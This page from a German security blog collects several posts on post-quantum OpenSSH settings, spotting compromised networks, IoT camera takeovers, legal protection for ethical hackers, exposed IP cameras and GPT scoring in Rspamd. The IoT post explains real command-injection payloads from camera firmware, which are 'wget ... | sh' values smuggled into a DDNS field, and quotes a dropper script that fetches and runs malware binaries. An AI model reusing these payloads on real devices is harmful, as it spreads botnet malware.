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Kategorie: Kernel-Error-Blog (Seite 1 von 49)

Quantensichere Kryptografie mit OpenSSH auf FreeBSD 15 richtig konfigurieren

Mein FreeBSD 15 kommt mit OpenSSH 10.0p2 und OpenSSL 3.5.4.
Beide bringen inzwischen das mit, was man aktuell als quantensichere Kryptografie bezeichnet. Oder genauer gesagt das, was wir Stand heute für ausreichend robust gegen zukünftige Quantenangriffe halten.

Illustration zu quantensicherer Kryptografie mit OpenSSH auf FreeBSD 15. Dargestellt sind ein Quantenchip, kryptografische Symbole, ein Server, ein SSH Schlüssel sowie der FreeBSD Daemon als Sinnbild für post-quantum Key Exchange und sichere Serverkommunikation.

Quantensicher? Nein, das hat nichts mit Füßen zu tun, sondern tatsächlich mit den Quanten aus der Physik. Quantencomputer sind eine grundlegend andere Art von Rechnern. Googles aktueller Quantenchip war in diesem Jahr bei bestimmten Physiksimulationen rund 13.000-mal schneller als der derzeit leistungsstärkste klassische Supercomputer. Der chinesische Quantencomputer Jiuzhang wurde bei speziellen Aufgaben sogar als 100 Billionen Mal schneller eingestuft.

Kurz gesagt: Quantencomputer sind bei bestimmten Berechnungen extrem viel schneller als heutige klassische Rechner. Und genau das ist für Kryptografie ein Problem.

Als Vergleich aus der klassischen Welt: Moderne Grafikkarten haben die Zeit zum Knacken von Passwörtern in den letzten Jahren drastisch verkürzt.

  • Nur Zahlen: Ein 12-stelliges Passwort wird praktisch sofort geknackt.
  • Nur Kleinbuchstaben: wenige Wochen bis Monate.
  • Groß- und Kleinschreibung plus Zahlen: etwa 100 bis 300 Jahre.
  • Zusätzlich Sonderzeichen: 2025 noch als sehr sicher einzustufen mit geschätzten 226 bis 3.000 Jahren.

Quantencomputer nutzen spezielle Algorithmen wie den Grover-Algorithmus, der die effektive Sicherheit symmetrischer Verfahren halbiert. Ein ausreichend leistungsfähiger Quantencomputer könnte damit die benötigte Zeit drastisch reduzieren. Was heute Jahrhunderte dauert, könnte theoretisch auf Tage oder Stunden schrumpfen.

Stand 2025 sind solche Systeme zwar real und in der Forschung extrem leistungsfähig, werden aber noch nicht flächendeckend zum Brechen realer Kryptosysteme eingesetzt.

Heißt das also alles entspannt bleiben? Jein.

Verschlüsselte Datenträger lassen sich kopieren und für später weglegen. Gleiches gilt für aufgezeichneten verschlüsselten Netzwerkverkehr. Heute kommt man nicht an die Daten heran, aber es ist absehbar, dass das in Zukunft möglich sein könnte. Genau hier setzt quantensichere Kryptografie an. Ziel ist es, auch aufgezeichnete Daten dauerhaft vertraulich zu halten.

Ein praktisches Beispiel ist der Schlüsselaustausch mlkem768x25519. Wenn ihr diese Seite nicht gerade über Tor lest, ist die Wahrscheinlichkeit hoch, dass euer Browser bereits eine solche hybride, post-quantum-fähige Verbindung nutzt. Im Firefox lässt sich das einfach prüfen über F12, Network, eine Verbindung anklicken, dann Security und dort die Key Exchange Group. Taucht dort mlkem768x25519 auf, ist die Verbindung entsprechend abgesichert. Richtig, auf dem Screenhot seht ihr auch HTTP/3.

Image of mlkem768+x25519 in firefox.

Für diese Webseite ist das nicht zwingend nötig. Für SSH-Verbindungen zu Servern aber unter Umständen schon eher. Deshalb zeige ich hier, wie man einen OpenSSH-Server entsprechend konfiguriert.

Ich beziehe mich dabei bewusst nur auf die Kryptografie. Ein echtes SSH-Hardening umfasst deutlich mehr, darum geht es hier aber nicht.

Die zentrale Konfigurationsdatei ist wie üblich: /etc/ssh/sshd_config

Stand Ende 2025 kann ich folgende Konfiguration empfehlen:

KexAlgorithms mlkem768x25519-sha256,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,umac-128-etm@openssh.com
HostKeyAlgorithms ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com

Die Zeilen werden entweder an die bestehende Konfiguration angehängt oder ersetzen vorhandene Einträge. Da wir nicht einfach blind kopieren wollen, hier kurz die Erklärung.

Schlüsselaustausch:
Bevorzugt werden hybride Verfahren wie mlkem768 kombiniert mit x25519 sowie sntrup761 kombiniert mit x25519. Diese verbinden klassische elliptische Kryptografie mit post-quantum-resistenten Algorithmen. Damit ist die Verbindung sowohl gegen heutige Angreifer als auch gegen zukünftige Store-now-decrypt-later-Szenarien abgesichert. Curve25519 dient als bewährter Fallback. Klassische Diffie-Hellman-Gruppen sind nur aus Kompatibilitätsgründen enthalten.

Verschlüsselung:
Es werden ausschließlich moderne Algorithmen eingesetzt. Primär kommen AEAD-Ciphers wie ChaCha20-Poly1305 und AES-GCM zum Einsatz, die Vertraulichkeit und Integrität gleichzeitig liefern und bekannte Schwächen älterer Modi vermeiden. Ältere Verfahren wie CBC sind bewusst ausgeschlossen.

Integrität:
Zum Einsatz kommen ausschließlich SHA-2-basierte MACs im Encrypt-then-MAC-Modus. Dadurch werden klassische Angriffe auf SSH wie Padding-Oracles und bestimmte Timing-Leaks wirksam verhindert.

Serveridentität:
Als Hostkey-Algorithmus wird Ed25519 verwendet. Optional auch mit Zertifikaten oder hardwaregestützten Security Keys. Das bietet hohe kryptografische Sicherheit bei überschaubarem Verwaltungsaufwand.

Wichtig: Das funktioniert nur, wenn Server und Client diese Algorithmen auch unterstützen. Wer bereits mit SSH-Keys arbeitet, sollte prüfen, dass es sich um Ed25519-Keys handelt. Andernfalls sperrt man sich im Zweifel selbst aus.

Auf dem Server lässt sich die aktive Konfiguration prüfen mit:

sshd -T | grep -Ei 'kexalgorithms|ciphers|macs|hostkeyalgorithms'

Auf dem Client geht es am einfachsten mit:

ssh -Q kex
ssh -Q cipher
ssh -Q mac
ssh -Q key

So sieht man schnell, welche Algorithmen tatsächlich verfügbar sind.

Zur externen Überprüfung der SSH-Konfiguration kann ich außerdem das Tool ssh-audit empfehlen. Aufruf einfach per:

ssh-audit hostname oder IP -p PORT

Das liefert eine brauchbare Einschätzung der aktiven Kryptografie und möglicher Schwachstellen. Oh, wenn ihr schon dabei seit, vergesst nicht:

Hinweis zur Einordnung der Quantensicherheit:
Die hier gezeigte Konfiguration verbessert ausschließlich den Schlüsselaustausch (Key Exchange) durch hybride post-quantum-fähige Verfahren. Hostkeys und Signaturen in OpenSSH basieren weiterhin auf klassischen Algorithmen (z. B. Ed25519 oder ECDSA); standardisierte post-quantum-Signaturalgorithmen sind in OpenSSH aktuell noch nicht implementiert. Es existieren zwar experimentelle Forks (z. B. aus dem Open-Quantum-Safe-Projekt), diese gelten jedoch ausdrücklich nicht als produktionsreif und sind nicht Bestandteil des OpenSSH-Mainlines. Die hier gezeigte Konfiguration ist daher als pragmatischer Übergangsschritt zu verstehen, um „store-now-decrypt-later“-Risiken beim Schlüsselaustausch bereits heute zu reduzieren, ohne auf instabile oder nicht standardisierte Komponenten zu setzen.
Weiterführende Informationen zum aktuellen Stand der post-quantum-Unterstützung in OpenSSH finden sich in der offiziellen Dokumentation: https://www.openssh.com/pq.html

Viel Spaß beim Nachbauen. Und wie immer: bei Fragen, fragen.

Ist mein Netzwerk kompromittiert? Warum das kaum jemand merkt

Ich habe ja bereits etwas zum Thema IoT-Geräte geschrieben und warum diese oft deutlich schneller gehijackt werden, als man vielleicht erwartet.

Aber woher weiß man nun als normaler Anwender, ob zu Hause oder im eigenen Netzwerk etwas sein Unwesen treibt?
Nun ja; das ist leider überhaupt nicht so einfach.

Symbolische Darstellung eines kompromittierten Netzwerks mit Warnhinweisen, IoT-Kamera und verdächtigem Datenverkehr.

Klar, man kann sich ganz tolle IPS oder IDS aufbauen. Es gibt dafür auch Open-Source-Systeme; Snort fällt mir da als einer der älteren Vertreter als erstes ein.

Aber das alles ist nichts für den normalen Anwender oder den Privathaushalt. Dann gibt es noch ganz furchtbar viele Schlangenölanbieter mit ihrer „Sicherheitssoftware“ für Windows, Android und Co. Klar, man kann dort Firewall, Virenscanner usw. installieren. Aber hilft das wirklich? Jein, würde ich dazu sagen.

Ist man auf einem aktuellen Patchstand, sollten zumindest die bekannten Löcher geschlossen sein. Dann bleiben fast nur noch Zero-Day-Lücken Ein Virenfilter kennt diese in der Regel auch nicht und lässt so etwas dann schlicht durch.

Eine Firewall-Lösung kann zumindest erkennen, ob plötzlich ungewöhnlicher Traffic unterwegs ist oder ob versehentlich gestartete Dienste nach außen offen stehen. Nur steht und fällt das Ganze oft genau in dem Moment, in dem der Anwender nach einer Entscheidung gefragt wird.

Sicherheitssoftware muss naturgemäß sehr tief im Betriebssystem eingebettet werden. Hat diese Sicherheitssoftware dann selbst Sicherheitslücken, was deutlich häufiger vorkommt, als man zunächst glauben möchte, öffnet man im Zweifel die eigene Infrastruktur über genau die Software, die das eigentlich verhindern soll. Vertraut mir da bitte einfach, wenn ich sage, dass ich das schon sehr oft gesehen habe. Zudem installiert sich so eine Sicherheitssoftware oft nicht einfach auf einer Netzwerkkamera 😉

Der beste Schutz sind, meiner Meinung nach, noch immer gepflegte Systeme, gute Zugangsdaten und das nötige Misstrauen. Wie kam ich jetzt darauf? Ach richtig; wie findet man eigentlich heraus, ob es überhaupt ein Problem gibt?

Klar, man kann abwarten. Irgendwann merkt man es sicher; spätestens dann, wenn die Polizei mit einer Hausdurchsuchung vor der Tür steht und wissen möchte, was man denn da so alles im Internet verteilt oder angreift.

Eine wirklich gute Lösung habe ich da leider auch nicht. Am ehesten noch Dienste wie GreyNoise (https://check.labs.greynoise.io/). Dort kann man beispielsweise gegen AbuseDB prüfen, ob die eigene IPv4-Adresse irgendwo im Internet „auffällig“ geworden ist; etwa durch Portscans, Spam-Versand oder Malware-Traffic. Ebenfalls kann man hin und wieder bei Have I Been Pwned (https://haveibeenpwned.com/) vorbei schauen, um zu prüfen, ob die eignen Zugangsdaten irgendwo gefunden wurden.

Im Allgemeinen ist aber auch das nur ein Indiz. IP-Adressen wechseln; vor allem bei privaten Anschlüssen. Die eigene IP muss erst auffallen, gemeldet werden und so weiter.

Aber hey; vielleicht hat ja noch jemand einen besseren Tipp?

IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

Vielleicht erinnert ihr euch an meine Aussage, dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür. In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

Image of IoT Camera and IT Security

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine Überwachungskamera, ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

„Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das Gerät selbst.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

  • als Teil eines Botnetzes
  • zum Verteilen von Malware
  • für DDoS-Angriffe
  • zum Minen von Kryptowährungen
  • oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

Screenshot of an compromised asus cctv ip camera iot

Ein Klassiker: nicht korrekt geprüfte Eingabefelder.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'

oder

$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende kitty Paket sein:

Benutzername: meow
Kennwort: meow

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

wget http://1.2.3.4/vivo -O- | sh
  • wget lädt eine Datei herunter
  • -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
  • das Pipe-Symbol | übergibt den Inhalt an die Shell sh
  • die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64

Und ja: Das existiert genauso in freier Wildbahn.

Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

  • Wurde vielleicht eine manipulierte Firmware eingespielt?
  • Wurde der Bootloader verändert?
  • Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
  • Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: Nein.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

  • WLAN-Passwörter
  • NAS-Zugangsdaten
  • SMTP-Accounts
  • API-Tokens
  • Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

  • IoT immer in ein eigenes, getrenntes Netz.
  • Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
  • Regelmäßig patchen, prüfen, auditieren.
  • Standardpasswörter sofort ändern.
  • Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker

free ethical hackers

Wir leben in Deutschland ja ein bisschen im „Anzeige-ist-raus“-Land. Das merken auch Security-Researcher und ethische Hacker. Solange man Eigentümer:innen/Betreiber:innen nur auf frei und offen erreichbare Probleme hinweist, ist die Welt halbwegs in Ordnung. Sobald man aber beginnt, Schutzmechanismen zu überwinden oder Anwendungen zu übervorteilen, wird’s schnell juristisch dünn. Genau deshalb melde ich in der Regel nur komplett offen erreichbare Dinge – außer es gibt eine security.txt mit klarer Policy oder ein offenes Bug-Bounty mit Safe-Harbor.

Picture of an useless gate.

Ein „Schutzmechanismus“ kann schon eine simple Basic-Auth sein. Kennt ihr dieses Bild vom Gartentor mitten auf dem Weg? Kein Zaun, keine Mauer, nur ein Tor. Auf dem Weg geht’s nicht weiter – aber einen Schritt nach links über die Wiese, und zack, ums Tor herum. Juristisch blöd: Das Umgehen dieses „Törchens“ kann bereits als Überwinden einer Zugangssicherung gewertet werden. Für die Meldenden kann das zum Problem werden, obwohl sie eigentlich helfen wollen.

Die Konsequenz: Selbst krasse Lücken werden oft gar nicht gemeldet, wenn davor ein Gartentörchen steht. Leute mit schlechten Absichten gehen natürlich einfach drumherum und nutzen die Lücke – anonym und schwer nachverfolgbar. Ergebnis: Probleme bleiben länger offen, statt sie sauber zu fixen.

Das sieht auch das BSI so und fordert schon länger mehr Rechtssicherheit für Security-Forschung. Aktuell gibt es wieder Bewegung: BSI-Präsidentin Claudia Plattner plädiert öffentlich für eine Entkriminalisierung ethischer Hacker – sinngemäß: „Wer uns vor Cyberangriffen schützt, darf dafür nicht bestraft werden.“ Die letzte Bundesregierung hatte sogar schon einen Entwurf zur Anpassung des sogenannten Hackerparagrafen in der Pipeline; die neue Regierung prüft das Thema weiter.

Zur Einordnung, worum es geht:

Strafgesetzbuch (StGB) – § 202a Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.
(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.

Das Problem ist weniger § 202a an sich als das fehlende Safe-Harbor für verantwortungsvolles Melden (Coordinated/Responsible Disclosure). Wenn schon Basic-Auth oder ein dünnes „Do-not-enter“-Schild als „Zugangssicherung“ zählt, macht das legitime Forschung riskant – und genau das will das BSI ändern. Schutz für die Guten, klare Grenzen gegen echten Missbrauch.

Den aktuellen Überblick fasst Golem gut zusammen; lesenswert:
https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html

Meta: Ja, ich bleibe auch künftig bei meiner Linie: Tests nur im eigenen Lab oder mit expliziter Erlaubnis. Alles andere ist nicht nur unklug, sondern schlicht rechtlich riskant.

Ich bleibe bei meinem Tipp für euch: Veröffentlicht eine security.txt. Solltet ihr mal einen Hinweis bekommen, erinnert euch bitte daran, dass die Person gerade den größten Aufwand und das größte Risiko eingeht, um euch auf ein Problem aufmerksam zu machen. Es wäre viel einfacher, die Lücke für sich auszunutzen, zu verkaufen oder sonst wie zu missbrauchen, als den Schritt nach vorne zu gehen und euch fair zu informieren.

Natürlich meine ich damit nicht die Leute, die erst einmal 5.000 € „Audit-Gebühr“ sehen wollen oder beim ungefragten Pentesting eure komplette IT aus dem Verkehr schießen. Ich meine die Menschen, die euch auf dem REWE-Parkplatz freundlich darauf hinweisen, dass ihr euer Portemonnaie auf dem Autodach liegen gelassen habt.

Bedankt euch einfach. 🙂

IP-Kameras: Risiken, Portfreigaben (RTSP/HTTP) & Checks

Moin, ich mag noch einmal etwas zu IP-Überwachungskameras schreiben. Ihr erinnert euch vielleicht an meinen letzten Beitrag zu diesem Thema KLICK.

article image of ip cameras

Dort habe ich mich speziell auf den RTSP-Port bezogen und auch https://www.shodan.io/ als Beispiel genannt. Shodan scannt unaufhörlich IPv4-Adressen (bei IPv6 wäre ein flächendeckender Scan kaum praktikabel) und stellt seine Ergebnisse öffentlich zur Verfügung. Sicherheitsforscher — aber leider auch Menschen mit schlechten Absichten — bedienen sich solcher Dienste, um Informationen über Systeme hinter einer IPv4-Adresse zu bekommen, ganz ohne selbst groß zu scannen oder zu testen. Grob gesagt: Google für „Hacker“.

Dass IP-Kameras — vor allem günstige oder ältere Modelle — schnell ein Sicherheitsrisiko darstellen, habe ich schon erwähnt; wer das hier liest, weiß es in der Regel auch. Automatische Portfreigaben in Kombination mit solchen Kameras sind oft problematisch. Wenn ich über so etwas stolpere und ohne großen Aufwand den Betreiber ausfindig machen kann, versuche ich jeweils per E-Mail oder einem kurzen Anruf zu warnen. Das stößt mal auf offene Ohren, manchmal wird es komplett ignoriert (manchmal mit Abschalten des öffentlichen Zugriffs, manchmal ohne); selten kommt die Antwort „Anzeige ist raus“.

Kameras filmen oft sensible Bereiche, sowohl innen als auch außen. Das kann viele Probleme mit sich bringen, wenn diese Informationen einfach öffentlich zugänglich sind. Anders als bei Datei-Freigaben scheint bei Kamerastreams noch nicht die nötige Awareness vorhanden zu sein — genau deshalb informiere ich hier und weise darauf hin.

Es ist nicht nur der RTSP-Stream, der sich häufig per UPnP seinen Weg nach draußen „tunnelt“. Oft werden auch per DNAT / Portfreigabe / Portweiterleitung die Webinterfaces der Kameras direkt aus dem Internet erreichbar gemacht. Im schlimmsten Fall kann man also mit dem Browser direkt auf Webinterface und Stream zugreifen. Viele sichern den Zugriff mit der kameraeigenen Anmeldung — das ist schon mal ein Anfang. Leider reicht das nicht immer: Bei manchen Modellen sind Funktionen wie Snapshots oder einzelne JPEG-Endpoints weiterhin ohne Anmeldung erreichbar. Das ist auf den ersten Blick nicht sichtbar — kennt man aber die entsprechende URL, genügt ein Browseraufruf und man sieht wieder alles.

Deshalb gebe ich immer den Rat: Zugriff lieber hinter ein VPN legen und niemals direkt offen ins Internet. Gebt jedem Gerät und jedem Dienst, den ihr aus dem Internet erreichbar macht, mindestens so viel Vertrauen wie eurer Haustür. Und prüft regelmäßig, ob dieses Vertrauen noch gerechtfertigt ist.

Wer selbst prüfen möchte, ob die EIGENE Kamera trotz eingerichteter Anmeldung noch irgendwie ohne Login zugänglich ist, kann mein kurzes Python-Tool nutzen: https://github.com/Kernel-Error/cam_probe

Denkt also bitte einmal darüber nach, ob ihr allem, was ihr direkt mit dem Internet verbunden habt, mindestens das gleiche Vertrauen entgegenbringt wie eurer Haustür oder Wohnungstür. Denkt an die security.txt und daran, dass, wenn sich jemand die Mühe macht, euch über ein solches Problem zu informieren, diese Person damit wahrscheinlich den größten Aufwand und auch das größte Risiko für sich selbst aufnimmt – nur, um euch auf ein Problem hinzuweisen.
Einen solchen Fund zu ignorieren, zu verkaufen oder sonst wie auszunutzen, ist deutlich einfacher, als den Betreiber zu informieren.

Natürlich gibt es auch hier schwarze Schafe, aber die Vertrauenswürdigkeit einer solchen Nachricht lässt sich meist schnell per Google oder auch ChatGPT prüfen.
Frage? Dann fragen. 🙂

GPT in Rspamd aktivieren: so nutze ich das LLM-Signal im Score

Setup: FreeBSD 14.3, Rspamd 3.12.1, Postfix + Dovecot. Ich lasse bei kniffligen Mails zusätzlich ein LLM draufschauen. Wichtig: GPT ist bei mir nur ein weiterer Sensor im ganz normalen Rspamd-Scoring — keine Allzweckwaffe und kein „hartes Urteil“.

Voraussetzungen

  • Rspamd inkl. GPT-Plugin (ab ~3.12.x im Paket; konfiguriert wird in local.d/gpt.conf).
  • API-Zugang (OpenAI-kompatibel oder eigener Endpunkt).
  • Grundverständnis zu Rspamd-Metrics/Actions (Reject/Add-Header/Greylist).

OpenAI API Key erstellen: Melde dich auf der Developer-Plattform an, öffne die Seite API Keys und klicke auf Create new secret key. Lege bei Bedarf Berechtigungen fest oder arbeite mit projektbasierten Keys. Kopiere den Key einmalig und bewahre ihn sicher (root-only) auf – bitte nicht teilen. Nutzung/Kosten siehst du im Usage-Dashboard.

Mein gpt.conf

Ich halte die Konfiguration bewusst nüchtern — genug, um robuste Labels zu bekommen, aber ohne Schnickschnack:

# local.d/gpt.conf (Auszug)
enabled = true;
type = "openai";
model = "gpt-4o-mini";
api_key = "GEHEIMER-KEY";

model_parameters {
  gpt-4o-mini {
    max_tokens = 160;
    temperature = 0.0;
  }
}

timeout = 10s;
allow_ham = true;
allow_passthrough = false;
json = false;
reason_header = "X-GPT-Reason";

input = "text";
min_words = 1;
max_size = 256k;

symbols_to_except {
  RCVD_IN_DNSWL_MED = -0.1;
  RCVD_IN_DNSWL_HI  = -0.1;
  DWL_DNSWL_MED     = -0.1;
  WHITELIST_RECP_ADDR = -0.1;
  GREYLIST = 0; GREYLIST_CHECK = 0; GREYLIST_SAVE = 0;
  RCPT_IN_SPAMTRAP = 0; SPAMTRAP = 0; SPAMTRAP_ADDR = 0;
  RCVD_VIA_SMTP_AUTH = 0; LOCAL_CLIENT = 0; FROM_LOCAL = 0;
}

Was bedeutet das?!

  • model = gpt-4o-mini: flott & günstig, deterministisch per temperature = 0.0.
  • allow_ham = true: GPT darf „HAM“ melden (kleines, positives Signal).
  • allow_passthrough = false: Bei Fehlern (Timeout/API down) keine stillen Freifahrten.
  • reason_header = "X-GPT-Reason": Kurzbegründung landet im Header (s.u. Datenschutz).
  • symbols_to_except: Offensichtliche interne Fälle werden neutralisiert, damit GPT nicht in klaren Situationen wirkt.
  • Limits: min_words = 1, max_size = 256k, timeout = 10s.

Metric/Scoring: drei GPT-Symbole

symbols {
  GPT_SPAM       { weight = 9.0;  group = "gpt"; description = "GPT: classified as SPAM"; }
  GPT_SUSPICIOUS { weight = 4.5;  group = "gpt"; description = "GPT: classified as SUSPICIOUS"; }
  GPT_HAM        { weight = -0.5; group = "gpt"; one_shot = true; description = "GPT: classified as HAM"; }
}

GPT wirkt wie ein starker, aber nicht absoluter Faktor.
SPAM (9.0): kräftiger Zuschlag.
SUSPICIOUS (4.5): sanfter Schubs Richtung Greylist/Review.
HAM (-0.5): kleine Entlastung, einmalig pro Mail.

Warum diese Gewichte?
Die Zahlen habe ich bewusst so gewählt, dass das GPT-Signal stark, aber nie absolut ist. Rspamd summiert Scores, GPT ist also nur ein Faktor:

  • GPT_SPAM = 9.0: genug, um bei Kombination mit klassischen Checks (Bayes, RBL, DMARC) die Add-Header-Schwelle sicher zu reißen, aber unterhalb von reject allein.
  • GPT_SUSPICIOUS = 4.5: halber Wert, schiebt Grauzonen in Richtung Greylist/Review, ohne sofortige Eskalation.
  • GPT_HAM = -0.5: nur eine kleine Entlastung (one_shot). So verhindert man, dass GPT-HAM mehrere Punkte abzieht und Spams „rettet“.

Wie wird die GPT-Gewichtung berechnet?
In den Logs/WebUI taucht das oft so auf: GPT_SPAM(2.10)[0.85]. Das bedeutet:

  • [0.85] = Rohwert von GPT, z. B. 85 % Wahrscheinlichkeit für Spam.
  • weight aus der Metric (z. B. 9.0 für GPT_SPAM).
  • Grundformel: Rohwert × weight → ergibt den Beitrag zum Gesamtscore.
  • Hinweis: Je nach Rspamd-Version kann der im Header gezeigte Wert zusätzlich skaliert sein (z. B. falls das Modell nur ein „softes“ Signal liefert). Deshalb sieht man in der Praxis häufig 2–8 Punkte statt des Maximalgewichts.

Actions/Schwellen

actions {
  greylist = 4;
  add_header = 6;
  reject = 15;
}

SUSPICIOUS (4.5) kippt oft in Greylist. SPAM (9.0) bringt fast immer Add-Header, Reject nur zusammen mit weiteren harten Befunden. Klassische Checks (SPF/DKIM/DMARC, RBL, Bayes) bleiben führend, GPT ergänzt nur.

Tuning
Zu bissig? Gewicht etwas senken.
Zu lasch? Gewicht erhöhen.
Zu optimistisch bei HAM? Gewicht kleiner machen oder 0 setzen.
Header mit X-GPT-Reason liefert Nachvollziehbarkeit, kann bei Bedarf wieder entfernt werden.

Praxis
– Symbole erscheinen im WebUI und Logfiles.
X-GPT-Reason erklärt im Header die Bewertung.
– Latenz/Kosten: gpt-4o-mini mit 160 Tokens und 10 s Timeout ist performant und günstig.

Jetzt schauen wir uns mal die Mailheader eines echten Beispiels an und wie GPT dort gegriffen hat:

X-Spamd-Result: default: False [8.59 / 15.00];
        VIOLATED_DIRECT_SPF(3.50)[];
        GPT_SPAM(2.10)[0.85];
        MISSING_MIMEOLE(2.00)[];
        CTYPE_MIXED_BOGUS(1.00)[];
        MID_RHS_NOT_FQDN(0.50)[];
        DMARC_POLICY_ALLOW_WITH_FAILURES(-0.50)[];
        MIME_HTML_ONLY(0.20)[];
        R_DKIM_ALLOW(-0.20)[thejewelbox.dd:s=1759374209.thejewelbox];
        ...

Erklärung:

